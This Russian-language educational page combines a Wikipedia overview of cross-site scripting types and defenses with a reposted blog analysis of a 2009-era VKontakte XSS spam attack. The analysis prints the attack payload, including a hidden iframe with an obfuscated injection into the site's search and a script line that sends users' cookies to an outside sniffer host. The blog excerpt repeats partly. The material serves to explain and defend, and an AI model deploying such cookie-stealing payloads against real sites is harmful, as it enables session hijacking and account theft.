Условно XSS можно разделить на активные и пассивные:
- Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например клик по специально сформированной ссылке). Их также называют первым типом XSS.
- При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта. Их также называют вторым типом XSS.
- Часто в отдельный тип выделяют межсайтовый скриптинг через DOM, являющийся пассивным, но использующим уязвимости в клиентских скриптах. Его так же называют третьим или нулевым типом.
Основной целью активных XSS атак являются форумы, блоги, гостевые книги и социальные сети. Основные виды уязвимостей в них перечислены ниже.
Отсутствие фильтрации html тегов в сообщениях пользователей
Некоторые форумы позволяют пользователю использовать html теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги, как <script> и <iframe> так, что HTTP-Cookie пользователей и администраторов, открывших некоторую тему форума, будут отправлены хакеру, или незаметно открыть произвольную ссылку в контексте браузера пользователя.
Для защиты от этого вида атак следует удалить все теги, кроме входящих в белый список.
Отсутствие фильтрации атрибутов и их значений разрешённых тегов
Данная уязвимость, в отличие от предыдущей, не специфична для html форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Хакер может указать в качестве адреса сервер, имеющий узкий интернет канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF атаку. Также хакер может указать атрибут onmouseover и выполнить произвольный javascript код.
В качестве примера подобной уязвимости можно рассмотреть уязвимость в известном форумном движке phpBB за 2002 год.[3][4] Используя эту уязвимость, хакер может закрыть атрибут src и открыть onmouseover, вызывающий вредоносный код.
Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.
Подмена кодировки в заголовке страницы
Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html код в UTF-7 кодировке, обойдя таким образом фильтрацию таких символов, как < и ". [5][6]
Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских данных.
Другие примеры
Существует также возможность обхода фильтра javascript через пользовательскую flash анимацию. Подробности можно почитать на eyeonsecurity.org.[7]
К другим необычным типам XSS атак относятся самодостаточные XSS.Источник: http://ru.wikipedia.org/wiki/Межсайтовый_скриптинг
XSS вконтакте
http://habrahabr.ru/blogs/infosecurity/62283/
Смотрю текст сообщения, разосланного от моего имени:
И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.
А теперь заходим на эту страничку (из незалогиненного браузера!), и смотрим код. Что же мы видим?
В коде подгружается скрытый плавающий фрейм:
Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется Javascript-код, в данном случае это закодированый в ASCII код еще одного фрейма:
Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.
привет, этo не cпам!раccылаю этo cooбщение вcем cвoим друзьям.я cегoдня удалю cвoю cтраничку вкoнтакте,дocтал cпам oкoнчательнo.Так чтo,еcли чтo-тo будет нужнo,либo звoни\пиши на мoбильник,либo ищи меня здеcь http://odnonochniki.?tk/,там xoтя бы cпама нету) ,я пoд cвoей фамилией и имнем.вoт так. И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке.
А теперь заходим на эту страничку (из незалогиненного браузера!), и смотрим код. Что же мы видим?
В коде подгружается скрытый плавающий фрейм:
<iframe src='http://%76%6b%6f%6e%74%61%6b%74%65%2e%72%75/gsearch.php?q=%27;()())//\%27;document.write(String.fromCharCode(60,115,99,114,105,112,тут было еще много цифр через запятую, которые растягивали страницу и за это их забрало НЛО. Если кому они действительно нужны - в личку))//%22;%3C%3E%22)//\%22;%3C%3E%22%3C%3E%22%22!---%22?%3E#c[q]=%27%3B()())%20%20\&c[section]=people' style='display:none;'></iframe> Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется Javascript-код, в данном случае это закодированый в ASCII код еще одного фрейма:
<script>document.write('<iframe src="http://webzer.vov.ru/s.php?dc='+document.cookie+'" style="display:none;"></iframe>');</script> Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.
Last modified: Thursday, 14 July 2011, 6:47 PM